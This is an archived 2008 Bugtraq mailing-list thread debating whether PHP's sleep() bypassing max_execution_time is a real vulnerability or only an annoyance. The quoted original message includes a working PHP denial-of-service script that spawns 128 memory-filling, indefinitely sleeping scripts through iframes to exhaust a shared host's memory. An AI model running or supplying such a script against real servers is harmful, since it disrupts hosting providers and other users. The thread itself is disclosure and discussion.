lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <6171c6010805271013y1593fbabk4d6b5f9552eeecf1@mail.gmail.com>
Date: Tue, 27 May 2008 13:13:32 -0400
From: "Charles Morris" <cmorris@...odu.edu>
To: "Mark Sanders" <mark@...nox.nl>
Cc: gogulas@...pl, bugtraq@...urityfocus.com
Subject: Re: function sleep() in all versions of PHP

Mark,
I agree with you that this is a known issue, and that there are ways
around it, however I would in fact call it a vulnerability.

The reasoning behind this is behind the definition of vulnerability,
and here is a good one:
"a weakness in a system allowing unauthorized action [(NRC91:301;
Amo94:2) Sandia] A flaw or weakness in a system's design,
implementation, or operation and management that could be exploited to
violate the system's security policy. ..."
[http://www.terena.org/activities/tf-csirt/iodef/docs/i-taxonomy_terms.html]

In this case a security policy has been designated with the
"max_execution_time" directive and that policy is being violated by
the blocking code. As you say there are ways around this, (kill
script, resource limiting, etc..) however there can be similar
mitigating circumstances in any situation where you have a
vulnerability (firewall, executable stack protection, etc..).

As with any vulnerability it is the vendor's responsibility to provide
a fix and protect it's users. Many web developers or administrators
may not know of this issue, and therefore will not be providing a mitigation.

I am of the opinion that PHP (As PHP (not Apache) is the one providing
the "max_execution_time" directive) should automatically interrupt any
processes in the process tree from the current script execution to
avoid violation of the directive.


On Mon, May 26, 2008 at 4:44 PM, Mark Sanders <mark@...nox.nl> wrote:
> This vulnerability is not per se a vulnerability but a annoyance that has
> been dealt with in many ways.
>
> It is quite common to not let any process on a web server run longer then a
> specified time. This is usually made possible by some trivial shell
> scripting that checks the running time of certain processes.
>
> This annoyance is also not limited to PHP. Any scripting language that has
> the ability to execute something with the means of system() can create and
> call a script that uses memory and waits indefinitely.
>
> This is also an annoyance that will not be seen as a bug or will be "fixed"
> because it would leave the language almost useless. Although some do attempt
> to fix this by disabling all possible functions that can execute something
> like exec, system, eval, etc. but it is not limited to that. The same long
> wait can be achieved with fsockopen or any other stream function like fread,
> fwrite, etc. Even if your wait is limited to 60 seconds you can just repeat
> it in a simple loop and still maintain the very low actual cpu time usage.
>
> This is and has never been a security hole or threat. It will also never be.
> It is just an annoyance for which many solutions are already available.
>
> Greetings,
>
> Mark Sanders.
>
> gogulas@...pl wrote:
>>
>> There is a quite big problem with sleep() function in php, The
>> max_execution_time set to 60sec. in safe mode can be easy passed by using
>> sleep() funcion, for example this script:
>> <?php
>> sleep(9999999);
>> echo 'Hello World';
>> ?>
>> Will print hello world after 9999999 seconds... so max_execution_time
>> simply dosnt work :P Why? we can find in manual:
>> "max_execution_time only affect the execution time of the script itself.
>> Any time spent on activity that happens outside the execution of the script
>> such as system calls using system(), stream operations, database queries,
>> etc. is not included when determining the maximum time that the script has
>> been running."
>> including sleep() :P
>> We can use this vuln to run out memory on web/php hosting:
>> <?php
>> if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/':
>>   $temp='';
>>   else $temp='temp/';
>>   for($n=0;$n<128;$n++) {
>>      $rand = mt_rand();
>>      $fp = fopen("$temp$rand.php", 'w+');
>>      fwrite($fp, '<?php while(memory_get_usage()<16000000) $a.=\'X\';
>> sleep(999999999); ?>');// for 16mb memory limit
>>      fclose($fp);
>>      echo "<iframe src=\"$temp$rand.php\" name=$n width=\"10\"
>> height=\"10\"></iframe>";
>>   }
>> ?>
>>
>>
>>
>>
>>
>
>



-- 

Charles Morris
 cmorris@...odu.edu,
 cmorris@...s.odu.edu

Network Security Administrator,
Software Developer

Office of Computing and Communications Services,
CS Systems Group Old Dominion University
http://www.cs.odu.edu/~cmorris

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ